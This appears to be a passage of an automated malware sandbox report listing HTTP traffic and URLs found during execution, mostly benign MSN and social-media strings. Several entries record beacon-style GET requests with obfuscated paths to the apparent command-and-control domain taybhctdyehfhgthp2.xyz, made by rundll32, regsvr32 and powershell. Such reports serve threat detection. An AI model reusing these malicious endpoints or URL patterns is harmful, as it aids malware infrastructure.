Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: taybhctdyehfhgthp2.xyzConnection: Keep-AliveCookie: PHPSESSID=t8ig2lm7e99tl9ioed8m825st0; lang=en
Source: global traffic	HTTP traffic detected: GET /jdraw/tR4LnoSVINT1f2c/0VvJfJtFJ0fvpQScRR/CPWVnO7Ig/8xymBr8_2BV2MPJj4WbJ/plMEUslrrtyCH_2Bwhq/1CDE4hgwgyY_2Bfw3s_2F1/UxPXHIDsYEwNA/DWJu4vAO/gkXIRDv7pcl_2FYyiYW0p52/VZjd1pdZUq/nUDfT2o7A87Q2yEgN/bEZSgdLSHpEB/Y8DoqjUm9asX_2BdG/q.crw HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, /Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: taybhctdyehfhgthp2.xyzConnection: Keep-AliveCookie: lang=en; PHPSESSID=t8ig2lm7e99tl9ioed8m825st0
Source: global traffic	HTTP traffic detected: GET /jdraw/6egkLxw_2B/0MDk_2F6Dttk_2BDL/PeMCvV_2FKSI/4qVuvEJzX6I/FapijqFJTF_2Fb/KhTAv5JxUk1yx17bklmA1/d0ce84VGmC4XToZ3/TiJp7oqlVeIG5y4/hFv5_2BNvMTr_2BeEi/G1O6zP7eh/h0jyonPucpxshjr38gHc/mUt_2Bbr2dZAiwNrJ6q/V3apeuqs4sJwa7IUzmg12g/qV5g.crw HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, /Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: taybhctdyehfhgthp2.xyzConnection: Keep-AliveCookie: lang=en; PHPSESSID=t8ig2lm7e99tl9ioed8m825st0
Source: global traffic	HTTP traffic detected: GET /jdraw/WzEyJLB3xlLsnabkhWyV0S/yaPNrrtbEg_2F/gaaPNPvk/KT7taNsNnsmIKyasgTZ0UAG/nQc7Y04rHd/Wf9d711z2fDYWnZSZ/I5gtE5194Pn8/54FQXS9Bp0p/Yr0NIxUfu5Fay8/_2FlA1aXKnd2v_2B9oARj/_2Fx_2FChvh5vpN4/OMwk_2BosEsV5ld/sSRuMcQjMYnxoDOxLX/9QI7NxpfE/WeR0iN16/80Qd2J2g/G.crw HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, /Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: taybhctdyehfhgthp2.xyzConnection: Keep-AliveCookie: lang=en; PHPSESSID=t8ig2lm7e99tl9ioed8m825st0
Source: global traffic	HTTP traffic detected: GET /jdraw/_2F4Q_2FnvV/BpomczM_2B2Jkp/FRSRsBJeoQn3RBrurQkGr/rDwzJqou7P_2BXVD/nyA2CFklxFPwVQh/Yho06_2FbaOGMgTxMt/wv24AfIjN/0MFgIcSL6gEiPqujKV_2/FBuSaCXg7gU09XOKs6c/4flUb9QPzKFwKqbjV_2FMz/mqc6yG0M3rYrC/7N85LJjr/tu_2BqIUaqz1VBst_2F35QW/3.crw HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, /Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: taybhctdyehfhgthp2.xyzConnection: Keep-AliveCookie: lang=en; PHPSESSID=t8ig2lm7e99tl9ioed8m825st0
Source: global traffic	HTTP traffic detected: GET /jdraw/p5RR5qqGgi5cTLPxy/2iFqCZAtdge9/_2B0gp3GesH/Xr71XWjGQYQuWa/hA9AKk4_2BjgWwj5Y0S8K/QFWsxQXH1nBjETKY/5OHlicPcimNIcL6/z4pHXf1uPEPssBLv8K/mnGWtLd2A/uaW_2Bl6KqHoNDaU_2Bh/DiOvILfU9m_2BExEsIT/5_2B5_2BSmOr5E2GYDUf9Y/mDnzrYQJR/mky.crw HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, /Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: taybhctdyehfhgthp2.xyzConnection: Keep-AliveCookie: lang=en; PHPSESSID=t8ig2lm7e99tl9ioed8m825st0
Source: global traffic	HTTP traffic detected: GET /jdraw/2dmHXVLFpoxZkp/lRnXRf4rg4uMzmmWxeqRM/HUrKxMJE8mnsaP3a/BSrsCvSsG_2BS6o/EetdeEq5gQ_2FyXySX/Ubse8b9so/m_2FVXqZKmYn0vbRxn_2/BpcuM8syJiHvDzsFPwE/VcmFcijyALhTLZxPULLl94/yvHhbYt_2F3zs/MiwgrxH9/_2F06LcLdvAsYVoK_2FJUaB/om5CWM0I.crw HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, /Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: taybhctdyehfhgthp2.xyzConnection: Keep-AliveCookie: lang=en; PHPSESSID=t8ig2lm7e99tl9ioed8m825st0
Source: global traffic	HTTP traffic detected: GET /jdraw/gtqnX1_2BBrthQ/u3Ow9U77gyB4yz7FWcMqW/MB7b6_2BOONkcuHq/pp1MQOLvSN1p_2B/FV7Pm6a31d2J5lSN_2/BzGSBLJoW/mkH_2B1SqUGsLgri21vM/sTm8rqFhIKFyjhSMnfS/eOIuSlx61lzuK1AdQtpcLd/ecP_2F2TO_2Bj/KaylSIXS/u6E6oRIpMJVadVClzcxwIS_/2BHj1Xmv/hc.crw HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, /Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: taybhctdyehfhgthp2.xyzConnection: Keep-AliveCookie: lang=en; PHPSESSID=t8ig2lm7e99tl9ioed8m825st0
Source: global traffic	HTTP traffic detected: GET /jdraw/WEqyJQ4Nq2nQ9ndVH/biMw8nJM827T/xrW3osP_2Bm/N3LwbnFmUNMeEO/_2FGDUp6Oi5jXD7I8Ab8U/gK4SwCYPiUPEkaUo/PrkNmh92vqxkb0v/PCnqPml9BaZFVRBIe_/2B22S8HAh/d9Tx35KtPfkXAbAsIuzf/2WiITh1H39IL9oWAn14/Ato1qcOoaQdDf8WbLtN5nh/4DNa.crw HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, /Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: taybhctdyehfhgthp2.xyzConnection: Keep-AliveCookie: lang=en; PHPSESSID=t8ig2lm7e99tl9ioed8m825st0

Source: de-ch[1].htm.6.dr	String found in binary or memory: <a href="https://www.facebook.com/" target="_blank" data-piitxt="facebooklite" piiurl="https://www.facebook.com/"> equals www.facebook.com (Facebook)
Source: gtm[1].js.20.dr	String found in binary or memory: "arg1":"https:\/\/www.facebook.com\/mail.com" equals www.facebook.com (Facebook)
Source: msapplication.xml0.4.dr	String found in binary or memory: <browserconfig><msapplication><config><site src="http://www.facebook.com/"/><date>0x1b02aec4,0x01d772ae</date><accdate>0x1b02aec4,0x01d772ae</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig> equals www.facebook.com (Facebook)
Source: msapplication.xml0.4.dr	String found in binary or memory: <browserconfig><msapplication><config><site src="http://www.facebook.com/"/><date>0x1b02aec4,0x01d772ae</date><accdate>0x1b0a4fe4,0x01d772ae</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Facebook.url"/></tile></msapplication></browserconfig> equals www.facebook.com (Facebook)
Source: msapplication.xml5.4.dr	String found in binary or memory: <browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0x1b0a4fe4,0x01d772ae</date><accdate>0x1b0a4fe4,0x01d772ae</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig> equals www.twitter.com (Twitter)
Source: msapplication.xml5.4.dr	String found in binary or memory: <browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0x1b0a4fe4,0x01d772ae</date><accdate>0x1b0a4fe4,0x01d772ae</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Twitter.url"/></tile></msapplication></browserconfig> equals www.twitter.com (Twitter)
Source: msapplication.xml7.4.dr	String found in binary or memory: <browserconfig><msapplication><config><site src="http://www.youtube.com/"/><date>0x1b0a4fe4,0x01d772ae</date><accdate>0x1b0a4fe4,0x01d772ae</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig> equals www.youtube.com (Youtube)
Source: msapplication.xml7.4.dr	String found in binary or memory: <browserconfig><msapplication><config><site src="http://www.youtube.com/"/><date>0x1b0a4fe4,0x01d772ae</date><accdate>0x1b0a4fe4,0x01d772ae</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Youtube.url"/></tile></msapplication></browserconfig> equals www.youtube.com (Youtube)
Source: de-ch[1].htm.6.dr	String found in binary or memory: <link rel="preconnect" href="img-s-msn-com.akamaized.net" /><link rel="preconnect" href="c.msn.com" /><link rel="preconnect" href="c.msn.cn" /><link rel="preconnect" href="https://www.bing.com" /><link rel="preconnect" href="//web.vortex.data.msn.com" /><link rel="dns-prefetch" href="img-s-msn-com.akamaized.net" /><link rel="dns-prefetch" href="c.msn.com" /><link rel="dns-prefetch" href="c.msn.cn" /><link rel="dns-prefetch" href="https://www.bing.com" /><link rel="dns-prefetch" href="//web.vortex.data.msn.com" /><link rel="canonical" href="https://www.msn.com/de-ch/" /><meta name="msapplication-TileColor" content="#224f7b"/><meta name="msapplication-TileImage" content="//static-global-s-msn-com.akamaized.net/hp-neu/sc/1f/08ced4.png"/><meta name="msapplication-config" content="none"/> <title>MSN Schweiz \| Sign in Hotmail, Outlook Login, Windows Live, Office 365</title> equals www.hotmail.com (Hotmail)
Source: potec.core.min[2].js.20.dr	String found in binary or memory: eh=function(){var a=z.O(U('\x3cdiv class\x3d"mod-konami"\x3e\x3cdiv class\x3d"vd"\x3e\x3ciframe width\x3d"640" height\x3d"360" src\x3d"https://www.youtube.com/embed/SrLZgP-OR6s" frameborder\x3d"0" allowfullscreen\x3e\x3c/iframe\x3e\x3cdiv class\x3d"close"\x3e\x3c/div\x3e\x3c/div\x3e\x3c/div\x3e').toString());z.O("body").append(a);var b=z.O(".mod-konami");b.width();b.find(".close").b("click",function(){function a(){b.removeNode()}z.T(b,"show");window.Modernizr.csstransitions\|\|a();b.b("transitionend", equals www.youtube.com (Youtube)
Source: 52-478955-68ddb2ab[1].js.6.dr	String found in binary or memory: glich.",errorFooterText:"Zu Twitter wechseln",taskLinks:"Benachrichtigungen\|https://twitter.com/i/notifications;Ich\|#;Abmelden\|#"}],xbox:[{header:"Spotlight",content:"",footerText:"Alle anzeigen",footerUrl:"",taskLinks:"me_groove_taskLinks_store\|https://www.microsoft.com/store/media/redirect/music?view=hub;me_groove_taskLinks_play\|https://aka.ms/Ixhi8e;me_groove_taskLinks_try\|https://aka.ms/msvmj1"},{header:"Meine tolle Wiedergabeliste",headerUrl:"https://aka.ms/qeqf5y",content:"",errorMessage:"",taskLinks:"me_groove_taskLinks_store\|https://www.microsoft.com/store/media/redirect/music?view=hub;me_groove_taskLinks_play\|https://aka.ms/Ixhi8e;me_groove_taskLinks_try\|https://aka.ms/msvmj1"}],bingrewards:[{header:"Pr equals www.twitter.com (Twitter)
Source: de-ch[1].htm.6.dr	String found in binary or memory: hren, die sich auf Ihren Internetdatenverkehr auswirken.<br/><br/><a href=\""+e.html(f)+'" onclick="window.location.reload(true)">Klicken Sie hier<\/a> um diese Seite erneut zu laden, oder besuchen Sie: <a href="'+i+'">'+i+"<\/a><\/p><\/div><div id='errorref'><span>Ref 1: "+e.html(o(t.clientSettings.aid))+"   Ref 2: "+e.html(t.clientSettings.sid\|\|"000000")+"   Ref 3: "+e.html((new r.Date).toUTCString())+"<\/span><\/div><\/div>"});ot({errId:1512,errMsg:n})}function ot(n){require(["track"],function(t){var i={errId:n.errId,errMsg:n.errMsg,reportingType:0};t.trackAppErrorEvent(i)})}function tt(){var n=v(arguments);a(l(n,b),n,!0)}function st(){var n=v(arguments);a(l(n,h),n)}function ht(){var n=v(arguments);a(l(n,y),n)}function ct(n){(r.console\|\|{}).timeStamp?console.timeStamp(n):(r.performance\|\|{}).mark&&r.performance.mark(n)}var w=0,it=-1,b=0,h=1,y=2,s=[],p,k,rt,o,d=!1,c=Math.random()*100<=-1;return ut(r,function(n,t,i,r){return w++,n=nt(n,t,i,r," [ENDMESSAGE]"),n&&tt("[SCRIPTERROR] "+n),!0}),c&&require(["jquery","c.deferred"],function(n){k=!0;rt=n;s.length&&g()}),{error:tt,fatalError:et,unhandledErrorCount:function(){return w},perfMark:ct,warning:st,information:ht}});require(["viewAwareInit"],function(n){n({size2row:"(min-height: 48.75em)",size1row:"(max-height: 48.74em)",size4column:"(min-width: 72em)",size3column:"(min-width: 52.313em) and (max-width: 71.99em)",size2column:"(min-width: 43.75em) and (max-width: 52.303em)",size2rowsize4column:"(min-width: 72em) and (min-height: 48.75em)",size2rowsize3column:"(min-width: 52.313em) and (max-width: 71.99em) and (min-height: 48.75em)",size2rowsize2column:"(max-width: 52.303em) and (min-height: 48.75em)",size1rowsize4column:"(min-width: 72em) and (max-height: 48.74em)",size1rowsize3column:"(min-width: 52.313em) and (max-width: 71.99em) and (max-height: 48.74em)",size1rowsize2column:"(max-width: 52.303em) and (max-height: 48.74em)"})});require(["deviceInit"],function(n){n({AllowTransform3d:"false",AllowTransform2d:"true",RtlScrollLeftAdjustment:"none",ShowMoveTouchGestures:"true",SupportFixedPosition:"true",UseCustomMatchMedia:null,Viewport_Behavior:"Default",Viewport_Landscape:null,Viewport:"width=device-width,initial-scale=1.0",IsMobileDevice:"false"})})</script><meta property="sharing_url" content="https://www.msn.com/de-ch"/><meta property="og:url" content="https://www.msn.com/de-ch/"/><meta property="og:title" content="MSN Schweiz \| Sign in Hotmail, Outlook Login, Windows Live, Office 365"/><meta property="twitter:card" content="summary_large_image"/><meta property="og:type" content="website"/><meta property="og:site_name" content="MSN"/><meta property="og:image" content="https://static-global-s-msn-com.akamaized.net/hp-neu/sc/c6/519670.jpg"/><link rel="shortcut icon" href="//static-global-s-msn-com.akamaized.net/hp-neu/sc/2b/a5ea21.ico" /><style>@media screen and (max-width:78.99em) and (min-width:58.875em){.layout-none:not(.mod1) .pos2{left:0}}.ie8 .grid .pick4~li.pick
Source: 52-478955-68ddb2ab[1].js.6.dr	String found in binary or memory: pfen Sie Ihr Skype-Konto und Ihr Microsoft-Konto.",continueButtonText:"Weiter",learnMoreText:"Hilfe",learnMoreUrl:"https://support.skype.com",callMessageText:"Anruf",fileMessageText:"Datei gesendet",videoMessageText:"Videonachricht",contactMessageText:"Kontakt gesendet"}],jsskype:[{},{}],facebookLite:[{},{likeUrl:"https://www.facebook.com/msnch"}],twitter:[{header:"Twitter",content:"Rufen Sie Ihre Twitter-Updates ab",footerText:"Anmelden",footerUrl:"https://twitter.com",requestTimeout:"10000",taskLinks:""},{header:"Tweets",headerUrl:"https://twitter.com",content:"Laden ...",noContent:"Ihre Timeline ist derzeit leer",errorMessage:"Anmelden bei Twitter nicht m equals www.facebook.com (Facebook)
Source: 52-478955-68ddb2ab[1].js.6.dr	String found in binary or memory: pfen Sie Ihr Skype-Konto und Ihr Microsoft-Konto.",continueButtonText:"Weiter",learnMoreText:"Hilfe",learnMoreUrl:"https://support.skype.com",callMessageText:"Anruf",fileMessageText:"Datei gesendet",videoMessageText:"Videonachricht",contactMessageText:"Kontakt gesendet"}],jsskype:[{},{}],facebookLite:[{},{likeUrl:"https://www.facebook.com/msnch"}],twitter:[{header:"Twitter",content:"Rufen Sie Ihre Twitter-Updates ab",footerText:"Anmelden",footerUrl:"https://twitter.com",requestTimeout:"10000",taskLinks:""},{header:"Tweets",headerUrl:"https://twitter.com",content:"Laden ...",noContent:"Ihre Timeline ist derzeit leer",errorMessage:"Anmelden bei Twitter nicht m equals www.twitter.com (Twitter)
Source: 52-478955-68ddb2ab[1].js.6.dr	String found in binary or memory: ter erneut.",viewInboxErrorMessage:"Wenn beim Anzeigen Ihres Posteingangs weiterhin ein Problem auftritt, besuchen Sie",taskLinks:"Verfassen\|https://outlook.live.com/mail/deeplink/compose;Kalender\|https://outlook.live.com/calendar",piiText:"Read Outlook Email",piiUrl:"http://www.hotmail.msn.com/pii/ReadOutlookEmail/"}],office:[{header:"Office",content:"Zeigen Sie Ihre zuletzt verwendeten Dokumente an oder erstellen Sie kostenlos mit Office Online ein neues.",footerText:"Anmelden",footerUrl:"[[signin]]",ssoAutoRefresh:!0,taskLinks:"Word Online\|https://office.live.com/start/Word.aspx?WT.mc_id=MSN_site;Excel Online\|https://office.live.com/start/Excel.aspx?WT.mc_id=MSN_site;Sway\|https://www.sway.com/?WT.mc_id=MSN_site&utm_source=MSN&utm_medium=Topnav&utm_campaign=link;PowerPoint Online\|https://office.live.com/start/PowerPoint.aspx?WT.mc_id=MSN_site"},{header:"Aktuelle Dokumente",headerUrl:"https://onedrive.live.com/#qt=mru",content:"Wird geladen ...",noContent:"Dieser Ordner ist leer. Klicken Sie unten, um ein neues Dokument zu erstellen.",errorMessage:"Keine Verbindung mit Office Online m equals www.hotmail.com (Hotmail)
Source: potec.core.min[2].js.20.dr	String found in binary or memory: zh.prototype.f=function(){var a=this;this.url=z.R(this.a,"data-url")\|\|window.location.href;this.Md="menubar\x3dno,toolbar\x3dno,resizable\x3dyes,scrollbars\x3dyes,height\x3d500,width\x3d500";this.a.find("[data-social]").b("click",function(b){b.preventDefault();switch(this.getAttribute("data-social")){case "facebook":window.open("https://www.facebook.com/sharer/sharer.php?u\x3d"+(0,window.encodeURIComponent)(a.url),"",a.Md);break;case "twitter":window.open("https://twitter.com/intent/tweet?text\x3d"+(0,window.encodeURIComponent)(window.document.title)+ equals www.facebook.com (Facebook)
Source: potec.core.min[2].js.20.dr	String found in binary or memory: zh.prototype.f=function(){var a=this;this.url=z.R(this.a,"data-url")\|\|window.location.href;this.Md="menubar\x3dno,toolbar\x3dno,resizable\x3dyes,scrollbars\x3dyes,height\x3d500,width\x3d500";this.a.find("[data-social]").b("click",function(b){b.preventDefault();switch(this.getAttribute("data-social")){case "facebook":window.open("https://www.facebook.com/sharer/sharer.php?u\x3d"+(0,window.encodeURIComponent)(a.url),"",a.Md);break;case "twitter":window.open("https://twitter.com/intent/tweet?text\x3d"+(0,window.encodeURIComponent)(window.document.title)+ equals www.twitter.com (Twitter)

Source: unknown

DNS traffic detected: queries for: www.msn.com

Source: powershell.exe, 00000021.00000002.514361003.000001E9C3DA0000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: head.min[2].js.21.dr	String found in binary or memory: http://modernizr.com/download/?-csstransforms-csstransforms3d-csstransitions-flexbox-flexboxlegacy-f
Source: powershell.exe, 00000021.00000002.499970967.000001E9ABB99000.00000004.00000001.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: de-ch[1].htm.6.dr	String found in binary or memory: http://ogp.me/ns#
Source: de-ch[1].htm.6.dr	String found in binary or memory: http://ogp.me/ns/fb#
Source: powershell.exe, 00000021.00000002.497662927.000001E9ABA9D000.00000004.00000001.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: auction[1].htm.6.dr	String found in binary or memory: http://popup.taboola.com/german
Source: powershell.exe, 00000021.00000002.495394325.000001E9AB881000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: picturefill.min[2].js.21.dr	String found in binary or memory: http://scottjehl.github.io/picturefill
Source: ~DF745D33E3B1706BEF.TMP.4.dr	String found in binary or memory: http://searchads.msn.net/.cfm?&&kp=1&
Source: imagestore.dat.4.dr	String found in binary or memory: http://taybhctdyehfhgthp2.xyz/favicon.ico
Source: imagestore.dat.4.dr, imagestore.dat.24.dr	String found in binary or memory: http://taybhctdyehfhgthp2.xyz/favicon.ico~
Source: loaddll32.exe, 00000000.00000002.494477774.00000000028B0000.00000002.00000001.sdmp, regsvr32.exe, 00000002.00000002.493831362.0000000003560000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.495111751.00000000031E0000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.493865166.0000000002C60000.00000002.00000001.sdmp, powershell.exe, 00000021.00000002.495164163.000001E9AA3A0000.00000002.00000001.sdmp	String found in binary or memory: http://taybhctdyehfhgthp2.xyz/jdraw/2dmHXVLFpoxZkp/lRnXRf4rg4uMzmmWxeqRM/HUrKxMJE8mnsaP3a/BSrsC
Source: ~DF41C6F94D5CD15673.TMP.4.dr, {855EF56B-DEA1-11EB-90E5-ECF4BB570DC9}.dat.4.dr	String found in binary or memory: http://taybhctdyehfhgthp2.xyz/jdraw/2dmHXVLFpoxZkp/lRnXRf4rg4uMzmmWxeqRM/HUrKxMJE8mnsaP3a/BSrsCvSsG_
Source: {7E89C2B0-DEA1-11EB-90E5-ECF4BB570DC9}.dat.4.dr	String found in binary or memory: http://taybhctdyehfhgthp2.xyz/jdraw/6egkLxw_2B/0MDk_2F6Dttk_2BDL/PeMCvV_2FKSI/4qVuvEJzX6I/FapijqFJTF
Source: loaddll32.exe, 00000000.00000002.494477774.00000000028B0000.00000002.00000001.sdmp, regsvr32.exe, 00000002.00000002.493831362.0000000003560000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.495111751.00000000031E0000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.493865166.0000000002C60000.00000002.00000001.sdmp, powershell.exe, 00000021.00000002.495164163.000001E9AA3A0000.00000002.00000001.sdmp	String found in binary or memory: http://taybhctdyehfhgthp2.xyz/jdraw/WEqyJQ4Nq2nQ9ndVH/biMw8nJM827T/xrW3osP_2Bm/N3LwbnFmUNMeEO/_
Source: {855EF56F-DEA1-11EB-90E5-ECF4BB570DC9}.dat.4.dr	String found in binary or memory: http://taybhctdyehfhgthp2.xyz/jdraw/WEqyJQ4Nq2nQ9ndVH/biMw8nJM827T/xrW3osP_2Bm/N3LwbnFmUNMeEO/_2FGDU
Source: {855EF565-DEA1-11EB-90E5-ECF4BB570DC9}.dat.4.dr	String found in binary or memory: http://taybhctdyehfhgthp2.xyz/jdraw/WzEyJLB3xlLsnabkhWyV0S/yaPNrrtbEg_2F/gaaPNPvk/KT7taNsNnsmIKyasgT
Source: {855EF567-DEA1-11EB-90E5-ECF4BB570DC9}.dat.4.dr	String found in binary or memory: http://taybhctdyehfhgthp2.xyz/jdraw/_2F4Q_2FnvV/BpomczM_2B2Jkp/FRSRsBJeoQn3RBrurQkGr/rDwzJqou7P_2BXV
Source: regsvr32.exe, 00000002.00000003.443079927.0000000000FA6000.00000004.00000001.sdmp, regsvr32.exe, 00000002.00000003.449890732.0000000000F96000.00000004.00000001.sdmp, ~DF434D42DEB8F7938B.TMP.4.dr, {7E89C2AA-DEA1-11EB-90E5-ECF4BB570DC9}.dat.4.dr	String found in binary or memory: http://taybhctdyehfhgthp2.xyz/jdraw/_2Faxv8_2Bu0S355431/zWBmIqRqQnvMB_2FKOk6CG/NwnPAjKDdicU7/LyyqKz0
Source: ~DFC0327530F4C9EDC8.TMP.4.dr, {855EF56D-DEA1-11EB-90E5-ECF4BB570DC9}.dat.4.dr	String found in binary or memory: http://taybhctdyehfhgthp2.xyz/jdraw/gtqnX1_2BBrthQ/u3Ow9U77gyB4yz7FWcMqW/MB7b6_2BOONkcuHq/pp1MQOLvSN
Source: rundll32.exe, 00000003.00000003.475793042.0000000002DD3000.00000004.00000001.sdmp, ~DF58DEFE5429921A67.TMP.4.dr, {855EF569-DEA1-11EB-90E5-ECF4BB570DC9}.dat.4.dr	String found in binary or memory: http://taybhctdyehfhgthp2.xyz/jdraw/p5RR5qqGgi5cTLPxy/2iFqCZAtdge9/_2B0gp3GesH/Xr71XWjGQYQuWa/hA9AKk
Source: {7E89C2AC-DEA1-11EB-90E5-ECF4BB570DC9}.dat.4.dr	String found in binary or memory: http://taybhctdyehfhgthp2.xyz/jdraw/tR4LnoSVINT1f2c/0VvJfJtFJ0fvpQScRR/CPWVnO7Ig/8xymBr8_2BV2MPJj4Wb
Source: msapplication.xml.4.dr	String found in binary or memory: http://www.amazon.com/
Source: powershell.exe, 00000021.00000002.497662927.000001E9ABA9D000.00000004.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: msapplication.xml1.4.dr	String found in binary or memory: http://www.google.com/
Source: 52-478955-68ddb2ab[1].js.6.dr	String found in binary or memory: http://www.hotmail.msn.com/pii/ReadOutlookEmail/
Source: msapplication.xml2.4.dr	String found in binary or memory: http://www.live.com/
Source: msapplication.xml3.4.dr	String found in binary or memory: http://www.nytimes.com/
Source: msapplication.xml4.4.dr	String found in binary or memory: http://www.reddit.com/
Source: msapplication.xml5.4.dr	String found in binary or memory: http://www.twitter.com/
Source: msapplication.xml6.4.dr	String found in binary or memory: http://www.wikipedia.com/
Source: msapplication.xml7.4.dr	String found in binary or memory: http://www.youtube.com/
Source: gtm[1].js.20.dr	String found in binary or memory: https://adservice.google.com/pagead/regclk
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://amzn.to/2TTxhNg
Source: auction[1].htm.6.dr	String found in binary or memory: https://api.taboola.com/2.0/json/msn-ch-de-home/recommendations.notify-click?app.type=desktop&ap
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://apps.apple.com/ch/app/microsoft-news/id945416273?pt=80423&ct=prime_footer&mt=8
Source: gtm[1].js.20.dr, optimize[1].js.20.dr	String found in binary or memory: https://cct.google/taggy/agent.js
Source: 55a804ab-e5c6-4b97-9319-86263d365d28[1].json.6.dr	String found in binary or memory: https://cdn.cookielaw.org/vendorlist/googleData.json
Source: 55a804ab-e5c6-4b97-9319-86263d365d28[1].json.6.dr	String found in binary or memory: https://cdn.cookielaw.org/vendorlist/iab2Data.json
Source: 55a804ab-e5c6-4b97-9319-86263d365d28[1].json.6.dr	String found in binary or memory: https://cdn.cookielaw.org/vendorlist/iabData.json
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://click.linksynergy.com/deeplink?id=xoqYgl4JDe8&mid=46130&u1=dech_mestripe_office&
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://click.linksynergy.com/deeplink?id=xoqYgl4JDe8&mid=46130&u1=dech_mestripe_store&m
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://click.linksynergy.com/deeplink?id=xoqYgl4JDe8&mid=46130&u1=dech_promotionalstripe_na
Source: 52-478955-68ddb2ab[1].js.6.dr	String found in binary or memory: https://client-s.gateway.messenger.live.com
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://clk.tradedoubler.com/click?p=245744&a=3064090&g=21863656
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://clkde.tradedoubler.com/click?p=245744&a=3064090&g=24545562
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://clkde.tradedoubler.com/click?p=245744&a=3064090&g=24545562&epi=de-ch
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://clkde.tradedoubler.com/click?p=295926&a=3064090&g=24886692
Source: ~DF745D33E3B1706BEF.TMP.4.dr	String found in binary or memory: https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prvid=77%2
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://contextual.media.net/medianet.php?cid=8CU157172
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://contextual.media.net/medianet.php?cid=8CU157172&crid=722878611&size=306x271&http
Source: de-ch[1].htm.6.dr	String found in binary or memory: https://contextual.media.net/medianet.php?cid=8CU157172&crid=858412214&size=306x271&http
Source: ~DF745D33E3B1706BEF.TMP.4.dr	String found in binary or memory: https://contextual.media.net/medianet.php?cid=8CU157172&crid=722878611&size=306x271&https=1
Source: ~DF745D33E3B1706BEF.TMP.4.dr	String found in binary or memory: https://contextual.media.net/medianet.php?cid=8CU157172&crid=858412214&size=306x271&https=1
Source: powershell.exe, 00000021.00000002.499970967.000001E9ABB99000.00000004.00000001.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000021.00000002.499970967.000001E9ABB99000.00000004.00000001.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000021.00000002.499970967.000001E9ABB99000.00000004.00000001.sdmp	String found in binary or memory: https://contoso.com/License
Source: consentpage[1].htm.19.dr	String found in binary or memory: https://dl.mail.com/permission/live/v1/ppp/js/permission-client.js
Source: consentpage[1].htm.19.dr	String found in binary or memory: https://dl.mail.com/tcf/live/v1/js/tcf-api.js
Source: 55a804ab-e5c6-4b97-9319-86263d365d28[1].json.6.dr	String found in binary or memory: https://geolocation.onetrust.com/cookieconsentpub/v1/geo/location
Source: powershell.exe, 00000021.00000002.497662927.000001E9ABA9D000.00000004.00000001.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: url-polyfill[1].js.19.dr	String found in binary or memory: https://github.com/WebReflection/url-search-params/blob/master/src/url-search-params.js
